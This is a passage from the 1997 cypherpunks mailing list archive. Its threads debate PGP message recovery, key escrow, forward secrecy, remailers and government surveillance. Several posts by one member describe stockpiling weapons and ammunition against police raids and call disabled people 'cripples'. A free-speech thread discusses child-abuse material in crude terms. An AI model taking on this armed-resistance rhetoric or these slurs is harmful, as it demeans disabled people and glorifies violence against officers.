design limits global propagation in various ways, keeps functions fairly
simple, and minimizes interactions and side effects.

Thus is the connection between my usage and software.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 27 Oct 1997 18:23:15 +0800
To: shamrock@cypherpunks.to
Subject: not escrowing signature keys (Re: PGP, Inc.--What were they thinking?)
In-Reply-To: <Pine.BSF.3.96.971027082056.10658E-100000@pakastelohi.cypherpunks.to>
Message-ID: <199710270936.JAA00696@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@cypherpunks.to> writes:
> On Fri, 24 Oct 1997, Adam Back wrote:
> > 
> > If this is the case, I reckon it's still better to just escrow their
> > comms keys locally.  [..] To go with this kind of a company with this
> > kind of policy, I would presume that sending or receiving super-
> > encrypted messages would would be a sackable offense.
> 
> How does your system prevent the employer  from fabricating forged
> signatures in a PK system that uses the same key for signing and
> decrypting?

PGP isn't using ARR (Additional Recipient Requests) for the old RSA
keys either, I don't think -- so I think a copy of pgp5.5 for business
which has been configured by an admin with the strictest settings
would not be able to generate RSA keys.

So the simple way seems to be to not escrow the private components of
the DSA signature key.  If people forget their passphrase, they'll
need to generate a new signature key and get it freshly certified by
the admin while he's recovering their encryption key.

> And if you don't use such a system, then how do you deal with future
> versions of the software that will allow the user to swap DH keys
> from underneath the ElGamal keys?

Interesting question even if you are using separate signature keys.
You've got a new signature key.  You want to bind your recovered EG
keys to it.  So I guess you just strip the self-certificates from the
EG keys, and add new ones made by the new signature key.  You can
still decrypt messages, and even pgp5.0 would be able to cope with
that (it'll try to fetch keys to check the certification on the
signature key).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hayden" <rhayden@orion.means.net>
Date: Mon, 27 Oct 1997 23:46:30 +0800
To: Cypherpunks Mailing List <cypherpunks@cyberpass.net>
Subject: DoS
Message-ID: <Pine.LNX.3.95.971027093653.994A-100000@geek.net>
MIME-Version: 1.0
Content-Type: text/plain



This was forwarded to me in house.  Just FYI.

---------- Forwarded message ----------
Date: Mon, 27 Oct 1997 09:38:28 -0600
From: Chris Silker <csilker@means.net>

MCI RELEASES FREE DENIAL OF SERVICE TRACKER SECURITY TOOL
MCI has released an interesting piece of software called the Denial of
Service Tracker (DoS). The security program helps track the source of
denial of service attacks, which aim to overload a target computer system
to the point that it's unusable for anything else. According to MCU, the
DoS Tracker works against SYN, ICMP flood, bandwidth saturation, and
concentrated source attacks, and is currently being modified to detect
other DoS-based attacks, including a new attack called the Smurf. The info,
a free download, and all the technical information is at the site. A must
have for sysops. <http://www.security.mci.net/dostracker>


 
=-=-=-=-=-=
Robert Hayden			rhayden@means.net	       UIN: 3937211
IP Network Administrator	http://rhayden.means.net
MEANS Telcom			(612) 230-4416 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 28 Oct 1997 01:52:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim's worst nightmare.,..
In-Reply-To: <3454BF94.7ED3@hun.org>
Message-ID: <v03102803b07a73057351@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:21 AM -0700 10/27/97, Attila T. Hun wrote:

>October 27, 1997
>Woman in Standoff Shoots at Police
>Filed at 10:12 a.m.  EST
>By The Associated Press
>
>ROBY, Ill.  (AP) -- Gunfire rang out again at the home of a woman
>involved in a month-long standoff with authorities who have a
>court order to bring her in for psychological testing.
...

Not really "Tim's worse nightmare..."

Besides, you folks ought to see the latest self-protection gizmo, which I
just bought at the San Jose Gun Show. An Olympic Arms OA-96 pistol, firing
30 rounds of .223. Basically an AR-15 with a barrel cut down to about 6
inches, a pistol grip, and a few other changes. (Sadly, the 30-round
magazine is welded in place, to comply with the letter of the law on
"assault guns.")

I needed something for answering the door in an era where the Bad Guys
routinely wear body armor sufficient to stop handgun rounds (.45, 9mm, .40,
and sometimes even .44 Magnum). My existing AR-15 and other .223 rifles
(5.56mm, in metric/NATO) will of course punch right through any feasible
body armor now being sold, but bringing such rifles up to bear in a doorway
is tough. Hence the market for .223-based machine pistols.

(The guy who sold it to me says he's been selling quite a few of these to
police SWAT "entry teams." Entry teams, for those of you not in the know,
are the folks wearning black ninja suits and body armor who break down
doors and spray everything inside with submachines guns--usually things
like H&K MP5s. Apparently they're feeling the need to move from handgun
calibers to .223.)

These new assault pistols are already being marked for eventual outlawing,
which is why I was in kind of a hurry to get one.

Ironically, I live up on top of a ridge, about 500 feet above the valley
floor below me, with three sides almost impossible to conventional entry
methods. So, if there's a "Ruby Ridge" or "Roby Ridge" at my place, the
dynamics will be quite different.

(Yes, besides my "readiness to hand" weapons, I also have some long-range,
scope-equipped weapons.)

Only in America.....

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 27 Oct 1997 18:56:50 +0800
To: mbp@pharos.com.au
Subject: Re: NAMBLA embattled -- mirror sites?
In-Reply-To: <Pine.LNX.3.95.971027101530.4515D-100000@buffalo.pharos.com.au>
Message-ID: <199710271007.KAA00977@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Martin Pool <mbp@pharos.com.au> writes:
> It's easy to believe in freedom in the abstract: you have to look at
> the boundary cases to decide what you really believe.

Very true.  That comment is worthy of a .sig quote.

It's the boundary cases that define the difference between `do you
believe in unconditional free speech' or `do you believe in free
speech as long as it doesn't offend you.

I would also say that just because someone is saying something
unpopular doesn't make me want to stick my neck out in mirroring it if
it's dangerous to do so.

Technological solutions are the answer, cf Tim's comments on Blacknet,
and anonymous USENET posts.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <mbp@pharos.com.au>
Date: Mon, 27 Oct 1997 08:43:09 +0800
To: cypherpunks@toad.com
Subject: Re: NAMBLA embattled -- mirror sites?
In-Reply-To: <199710262317.AAA26327@basement.replay.com>
Message-ID: <Pine.LNX.3.95.971027101530.4515D-100000@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 27 Oct 1997, Ratbert wrote:

> I'm not sure the right to free speech includes the right to endorse guys
> fucking little boys, whether they give it a moniker like "transgenerational
> love" or not. Any sex with a minor is rape, since they can't legally give
> consent. 

There's a huge difference between people talking about fucking little
boys, and people actually doing it.  The latter is certainly rape, and
perpetrators should certainly be jailed at the very least.  However, for
all that it may be offensive, data doesn't hurt children, except in that
it records previous crimes, or foreshadows future ones.  

Even if we were to admit some of this information constitutes a thought
crime there's still no shortage of far more important physical crimes
against children for our protectors to deal with. 

Read some de Sade from your local library.  For many liberal people, it
can be challenging to reconcile a general belief in freedom of speech and
thought with their revulsion at what he wrote.  It's easy to believe in
freedom in the abstract: you have to look at the boundary cases to decide
what you really believe.

--
Martin Pool






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 27 Oct 1997 18:28:59 +0800
To: cypherpunks@toad.com
Subject: re: Hlep
Message-ID: <199710270937.KAA29632@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Misty Ed the incredible talking horse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 27 Oct 1997 19:31:08 +0800
To: shamrock@cypherpunks.to
Subject: pgp2.x is dangerous too (Re: PGP Employee on MKR)
In-Reply-To: <Pine.BSF.3.96.971027073312.10658A-100000@pakastelohi.cypherpunks.to>
Message-ID: <199710271050.KAA00998@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@cypherpunks.to> writes:
> On Fri, 24 Oct 1997 mark@unicorn.com wrote:
> > 
> > If you can explain the following, then I'll accept that my fears are merely
> > fantasies:
> 
> OK, I must be missing something. How can it be more evil if the email
> isn't automatically sent to the owner of the MK key than if the email is
> automatically cd'ed?

Uh.. I think you've hit on the center of the problem here.

Here's my take on it:

CMR is potentially dangerous because it can be abused; therefore make
things which are harder to abuse for government communications
snooping.

pgp2.x is potentially dangerous because it can be abused; therefore
make things which are harder to abuse for government communications
snooping.

I think pgp2.x is potentially dangerous too -- the only difference
being that no-one that I know was widely deploying policy enforcers
for it.

Yes even easy to write code has to be deployed -- deployment is the
larger part of the battle, clearly.  TIS has been selling GAKware for
years, and no-one much is using it, as one example.  Passing a law
over-night that everyone must downgrade to TIS GAKware is problematic
-- people will revolt, even companies who have no political stance,
just because of the hassle of it.

Interoperability matters.  If we can widely deploy software which
needs to `unpublished' to deploy GAK, we've built some additional
resistance to GAK.  (With Luckian outlook, this will be a delay rather
than a prevention, but it's still a net good).

Standards matter too -- if we widely deployed a Internet mail standard
(say OpenPGP:-) which would have to be modified in non-backwards
compatible ways to introduce government communications message
snooping, we'd have enormous resistance to GAK.  This is because it
becomes international -- if the US doesn't switch to GAK, then a
France which tries will face problems: cut themselves off, or not do
it, or attempt to do it, but have it unenforceable even for
non-technical users.

Now the main point isn't that CMR and policy enforcer is ever so
slightly more dangerous than pgp2.x, the point is that pgp5.x is being
widely deployed; and that people are switching from pgp2.x to 5.x
(especially due to limited backwards compatibility being used to
encourage move to non-patented algorithms).


Say, for the sake of argument, that OpenPGP adds a MUST or a SHOULD
feature to have some kind of forward secrecy.  Say this feature gets
deployed everywhere.  (I'm sure we'll all be 100% behind that one!)

Numerous anti-GAK features have been proposed.  PFS TLS, which as I've
shown can be authenticated via the existing PGP WoT is one way (easy
to bolt on to existing PGP SMTP agents -- another weekends hack at
most).  Providing opportunistic PFS inside the PGP message envelope by
sending new keys with messages, which may be used to reply in a
forward secret manner, and basing data recovery features on storage
recovery where possible are others.

Deploy such features.  Deploy such standards.

Imagine trying to revoke SSL standard to make it non forward secret.
(Government recovery of web traffic, yeah).  That'd be a tough one,
right?

I presume that is part of C2's motivation in delploying 128 bit web
servers, and 40 <-> 128 bit local proxies to uprate browser security.

> > 1. How PGP can prevent CMR being converted into GMR; their system builds
> >    all the code required to support mandatory encryption to FBI and NSA
> >    keys into every copy of PGP.
> 
> Agreed. And so did PGP 2.x and any version of PGP that allows for
> encryption to multiple keys. Anybody can take the 2.6 source and hardcode
> in a second recipient key.

This to me doesn't say "give up", it says: make something that is more
resistant to being abused by governments.  What the deployed base
does, and what the standards say is important.  What the government in
some tin pot dictatorship hacks into pgp2.x hardly matters, if the new
standard refuses to talk to it.

> The answer is that no PK crypto system can prevent being converted
> for GAK use.

It just isn't that black and white.  Some things are clearly much more
resistant than others.  Most anything can be subverted by governments,
but some things are harder than others.

> I read the recently proposed alternatives and fail to see how they
> would prevent GMR any more than PGP's solution.  All I saw were
> convoluted and frequently hasty designs, many of which lend
> themselves even more to GAK then what PGP did.

Pick a design, explain why it could lend itself to GAK, help improve
design to reduce danger.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 28 Oct 1997 03:36:16 +0800
To: cypherpunks@toad.com
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <3.0.3.32.19971027084119.006bf4fc@popd.ix.netcom.com>
Message-ID: <v03102805b07a846387f7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:41 AM -0700 10/27/97, stewarts@ix.netcom.com wrote:
>Heard on the radio this morning that a book publisher in Berkeley
>received a subpoena from the DEA (not from a judge, from a DEA agent...)
>requesting information on everybody in Arizona who bought their
>book on marijuana hydroponics.  The publisher declined to cooperate,
>and there was a nice First Amendment riff from the reporter about it.
>Their name sounded like Ronin Press.  A book store in Tempe also received
>a subpoena for names of everyone who'd bought the book.

At the Gun Show I was at yesterday, a book dealer (who deals only in cash,
not checks and not credit cards, and who has no interest in keeping names
of customers in any kind of file) said that law enforcement often wanders
around the tables at the gun show, asking about the books on making C-4
explosives, making silencers for guns, growing dope, making
methamphetamines, rigging booby traps, etc. This is why most of the dealers
operate on a cash-and-carry basis. I don't know if any of the dealers have
yielded to pressures to give up lists of customers, but I suspect most of
them haven't. And cash makes it tough.

(This is, ObCrypto, why true 2-way untraceability is needed for ecash
systems. When Chaum speaks of only 1-way untraceability (protecting the
buyer from surveillance) being needed, he neglects the cases where law
enforcement busts a _seller_.  For online transactions, this is a very real
issue. Suppliers of the above-type information, but also suppliers of birth
control information, abortion info, controversial material, pornography,
etc. Chaum conceded these points, and said he'd think about how sellers
could be protected in his latest scheme.)

By the way, most of these books are of a far more accurate, it appears,
quality than that found in the usual book cited, "The Anarchist Cookbook."
That book was most probably a CIA disinformation work, designed to blow up
some would-be bombmakers. Sort of like "think of it as evolution in action."

The dealer I bought $150 worth of books and pamphlets from had a sign
saying "This ain't Barnes and Noble." Indeed.

As for plant cultivation, I'm sure we all recall the cases where DEA SWAT
teams have raided homes because some electric company report gave the DEA
some suspicion that grow lamps were being used. (In a lot of these raids,
there are "side effects" of the residents being sprayed with small arms
fire. "Whoops." Even more embarassing when no grow lamps are found.
"Whoops." So much for the Fourth Amendment, which was gutted more than 70
years ago during the First War on Drugs.)



>Cypherpunks relevance?  Will web publishers get the same treatment?
>Will corporations running Corporate Message Recovery get requests
>for email sent to their sales addresses?  How many of them will comply
>rather than noticing the bogosity of the subpoena?  On the other hand,
>at least with CMR, companies can set decide how much information to keep,
>and this sort of abuse may encourage them to limit their use of it.

Though it's more likely with CMR deployed for companies to be _instructed_
by the FTC, SEC, OSHA, IRS, etc., _not_ to delete messages from their CMR
archives. In fact, I'll bet that if CMR is widely deployed in corporate
America that various regulatory agencies will publish standards (like
Accounting standards) for how such CMR archives are to be handled.

Altering CMR archives will be treated akin to shredding files, which most
companies are now disincentivized from doing.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 27 Oct 1997 18:17:01 +0800
To: tcmay@got.net
Subject: Re: Orthogonality and Disaster Recovery
In-Reply-To: <v03102802b078027ffb91@[207.167.93.63]>
Message-ID: <199710271108.LAA01020@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim wrote at length about the usefulness of cleanly separating
functionality.

As this applies to pgp5.x, one could apply this idea in the following
way:

- remove pgp file encryption functionality from pgp5.x

- store decrypted emails in the clear in mail folders

- develop PGPdisk for more platforms, and/or market a separate file
  encryption program which only uses symmetric keys.  Integrate
  recovery into that if required, or let the users figure out to copy
  the symmetric storage only "key ring" onto floppies and place in
  fire proof safe themselves.


Problems with this are:

- pgp5.0, pgp5.5 already have this file encryption function built in
  (they might not want to take it out)

- several people are arguing for the need for the company to be able
  to read queued emails encrypted to a company use key when recipient
  is away on holiday, or leaves company, etc.

- some people argue for functionality of having email archives encrypted


Once you start trying to tackle those problems, things get unavoidably
complicated as you attempt to balance the criteria of resistance to
political abuse, resistance to privacy invasion, security, ergonomics,
and meeting user requirements.

I think it's useful to attempt to design systems which balance those
criteria, even though anything which automates any aspect of third
party access to data is inherently dangerous and more prone to
government abuse.

Kent Crispin said sometime ago that cypherpunks (he addressed the
comment to the list readership) should have a go at designing
commercial data recovery protocols.

Even pgp2.x is not that resistant to government abuse as an email
transport.  Governments can demand copies of private keys, governments
can request to be 2nd crypto recipients.  Some governments sooner or
later may even try that with pgp2.x itself.

So I think it is interesting to encourage use of perfect forward
secrecy, at the transport layer, and opportunistically in the pgp
encryption layer.

It is perhaps dangerous, but if people are doing it anyway, it is
useful to examine politically government resistant company storage
recovery, and integration of this into pgp implementations, and
standards even.  Not something cypherpunks would normally consider,
I'm sure, but the functionality of the deployed base is all important,
as is the functionality of standards -- and both of these are to a
large extent influenced by commercial users.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 28 Oct 1997 03:57:27 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Tim's worst nightmare
In-Reply-To: <199710271918.UAA22699@basement.replay.com>
Message-ID: <v03102806b07a90f77c50@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:18 PM -0700 10/27/97, Anonymous wrote:
> > Woman in Standoff Shoots at Police
> > Filed at 10:12 a.m.  EST
> > By The Associated Press
>
> > ROBY, Ill.  (AP) -- Gunfire rang out again at the home of a
> > woman involved in a month-long standoff with authorities who
> > have a court order to bring her in for psychological testing.
>
>
>Just imagine a few hundred (or thousand) people getting together in
>Roby, Ill., defying the police-ordered half mile ban around her
>house and sitting down peacefully between her and the police...

Such persons are called "cannon fodder."

Not too far from me, some dumb shit antiwar protestor decided to practice a
Gandhi-style protest of munitions shipments by train. So he sat down on the
tracks near the Concord Naval Weapons Station.

Chop, chop, off went the legs.

He now, having somehow survived this moral victory, campaigns for more
statist laws forcing private businesses to provide ramps and elevators for
cripples.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 28 Oct 1997 02:34:24 +0800
To: cypherpunks@toad.com
Subject: FCC proposes V-Chip for computers, from Time/Netly News
Message-ID: <v03007800b07a7828c576@[204.254.22.75]>
MIME-Version: 1.0
Content-Type: text/plain




THE V CHIP, COMING TO A COMPUTER NEAR YOU

Time Magazine
November 3, 1997
Page 36

If you hated the idea of a V chip in your television,
wait until you hear that the government wants to
install one in your computer. TIME has learned that
the FCC has proposed that new PCs be outfitted with a
V chip to filter out video violence and sex. Still
unclear is what Net broadcasts could be affected. The
idea alarms free-speech advocates, who wonder why
Americans need a Net-nanny. "What you get is a
devolution of the First Amendment," argues lawyer Bob
Corn-Revere. FCC chairman REED HUNDT says the
high-tech industry can "be part of the process" as the
agency sets rules. There's a low-tech alternative: the
off switch.

--By Declan McCullagh/Washington

**********

For details check out the Netly News (netlynews.com) at:

  http://cgi.pathfinder.com/netly/opinion/0,1042,1528,00.html

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@acm.org>
Date: Tue, 28 Oct 1997 04:32:43 +0800
To: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Subject: Re: [NEW] mixer@htp.org (was: List of reliable remailers)
In-Reply-To: <199710271621.BAA31069@ns.barrier-free.co.jp>
Message-ID: <Pine.BSF.3.91.971027121630.6249B-100000@blacklodge.c2.net>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 28 Oct 1997, Hayashi_Tsuyoshi wrote:

> # Sorry if dup.
> 
> Dear Raph Levien,
> 
> This is Tsuyoshi Hayashi, lives in Yokohama, Japan.
> 
> On Mon, 27 Oct 1997 06:50:08 -0800, Raph Levien said:
>  >   I operate a remailer pinging service which collects detailed
>  >information about remailer features and reliability.
> [..]
> 
> Please add mixer@htp.org, the first public remailer in
> Japan, was setup by a member of cypherpunks-j.
> 
> # it is not me.
> 
>  >$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
>  >$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
> [..]
> 
> mixer@htp.org is probably:
> 
>   $remailer{"mixer"} = "<mixer@htp.org> cpunk mix pgp";
> 
> Please add this record to your check list.

Hi. I am aware of this remailer and am very happy to see one started in 
Japan. However, I am having a little problem adding it to the list 
because the Type-1 side of the remailer uses PGP 5.0, causing some 
compatibility problems with the remailer list software, which is based on 
PGP 2.6.2. Hopefully I can resolve these problems soon and add the remailer.

Thanks for your interest!

Raph





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Mon, 27 Oct 1997 19:41:49 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: not escrowing signature keys (Re: PGP, Inc.--What were they thinking?)
In-Reply-To: <199710270936.JAA00696@server.test.net>
Message-ID: <Pine.BSF.3.96.971027123616.11440A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 27 Oct 1997, Adam Back wrote:

> 
> Lucky Green <shamrock@cypherpunks.to> writes:
> > On Fri, 24 Oct 1997, Adam Back wrote:

> > And if you don't use such a system, then how do you deal with future
> > versions of the software that will allow the user to swap DH keys
> > from underneath the ElGamal keys?

[Stupid typo my part. This was  supposed to be "swap ElGamal keys from
under the DSA keys."]
 
> Interesting question even if you are using separate signature keys.
> You've got a new signature key.  You want to bind your recovered EG
> keys to it.  So I guess you just strip the self-certificates from the
> EG keys, and add new ones made by the new signature key.  You can
> still decrypt messages, and even pgp5.0 would be able to cope with
> that (it'll try to fetch keys to check the certification on the
> signature key).
> 
> Adam
> -- 
> Now officially an EAR violation...
> Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/
> 
> print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
> 


-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 28 Oct 1997 05:45:27 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <v03102805b07a846387f7@[207.167.93.63]>
Message-ID: <v03102808b07aa2f2b5cb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:53 PM -0700 10/27/97, Jim Burnes wrote:
>On Mon, 27 Oct 1997, Tim May wrote:

>> As for plant cultivation, I'm sure we all recall the cases where DEA SWAT
>> teams have raided homes because some electric company report gave the DEA
>> some suspicion that grow lamps were being used. (In a lot of these raids,
>> there are "side effects" of the residents being sprayed with small arms
>> fire. "Whoops." Even more embarassing when no grow lamps are found.
>> "Whoops." So much for the Fourth Amendment, which was gutted more than 70
>> years ago during the First War on Drugs.)
>
>That wouldn't be the Donald Scott case, would it?  I'm so suprised at
>you, Tim.  The local prosecutor said they "lost their moral compass".
>The poor men! Now go back home, fill out your 1040 and shuddup.  ;-)
>

Donald Scott, of Malibu, was one of these examples.

For those who don't know the story, he was a retired medical doctor, living
with his wife on a farm or ranchette of some sort on the Malibu coast,
adjacent to some L.A. County public or park lands. Environmentalist groups
had been trying to get him to sell his land cheaply, or donate it, to the
parklands system.

The LA County Sheriff's Office apparently took a close look at his land, to
see if there was any way they could force him to sell.  As I recall the
story (a Web search will reveal more), they found a snitch who said Donald
Scott was growing pot on his property. Aerial surveys were inconclusive.

They raided his home, hoping to find drugs and thus seize the property
under the civil forfeiture laws, then sell the property to the parklands
system and realized a nice profit. (The civil forfeiture laws work like the
"letters of marque and reprisal" system the freebooters had: those doing
the raiding get to keep the profits from their raids. This has become a
major revenue generator. See old episodes of "Miami Vice" for details on
how this works.)

Anyway, in the predawn hours the raider ninjas burst into Scott's home. No
polite knocks on the door. (As if he could have flushed his alleged
marijuana plants down the toilet.)

Scott saw the intruders burst into his bedroom, reached for a gun from his
night stand, and was sprayed with 9mms. His wife survived.

No marijuana plants were found. No drugs were found. Probably not even any
Paladin Press books.

If there were justice in America, those who did the raiding would be tried,
found guilty of capital murder, and sent to the gas chamber at San Quentin.

But they won't be. "We lost our moral compass" is the most that will come
out of this. Oh, and more laws making it illegal for sheep-units to have
guns to defend themselves.

And so it goes. This is why I have 3000 rounds of .223 stashed away, and
several loaded weapons readily available. And an early warning system in
case the night ninjas decide my house needs to be raided before dawn.


--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Tue, 28 Oct 1997 02:21:15 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: PGP Employee on MKR
Message-ID: <2328C77FF9F2D011AE970000F84104A74933DB@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



Harka wrote:
>The "just don't work for them if 'ya don't like it"-argument  will
>last about 4 weeks...the approximate time a human can survive
>without eating. (or a couple of weeks less, if you have kids)
>
>I.e. unless you are the super-duper, three-times nobel-prize-winner
>(with lots of money in stocks), who can AFFORD to choose employers
>that freely, you will be DAMN GLAD to have a job AT ALL, regardless
>of their policies!

Start your own business.  It will take sacrifice, but it can be done.
It doesn't even need to be in your day-job profession, for that matter
-- of the 4 start-ups I've been in, the biggest crash-and-burn was in
the computer business (I seem to think mainly like a "practical
researcher" rather than a businessperson when it comes to computers...).

One of her problems is that teaching is basically a monopoly profession
(a fact we are dealing with in our own family) -- there is no second,
third etc. public school system as an employer.  Another is that she is
living in the confines of New York City, although I would think there
should be places within 60 miles of her ex-husband where the cost of
living should be significantly less.  (In the Indianapolis area, she
could be buying a house on her income -- maybe through a contract sale
by owner rather than through the more common "Realtor" scenario, but
buying a house nonetheless.)

"Chance favors only the prepared mind", Louis Pasteur once said -- we
took advantage of a new local trend 2 years ago, got a guaranteed sale
on our large house (2300 sq.ft. with basement), went to a small house
(1600 sq.ft. without basement), using the money left over to develop
some ground.  (All while helping my mother-in-law cope after my
father-in-law's death.)  There are opportunities out there -- you just
have to look for them.  They may take a lot of your time (so I advise
looking for opportunities that you don't mind or even like exercising at
10pm at night after working a day job and caring for your children), but
they do exist.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 28 Oct 1997 05:28:51 +0800
To: cryptography@c2.net
Subject: key recovery meeting/demonstration in DC, 11/5
Message-ID: <199710272113.NAA01177@ideath.parrhesia.com>
MIME-Version: 1.0
Content-Type: text/plain



	       
See <http://gits-sec.treas.gov/const.htm>; there's going to be a meeting
discussing key recovery technology and legislation in Washington, D.C. on
November 5. I don't really have time to track down the organizational
pedigree of "GITS" (Government Information Technology Services), the
institution organizing the conference, but they've got space on the Dept of
Treasury's web server. The meeting features, among other folks, William
Reinsch, undersecretary at the Dept of Commerce, and an unnamed luncheon
speaker who will discuss the future of KR legislation. The cost is $100,
and they want you to register by today. Am unsure how easy it'd be to crash
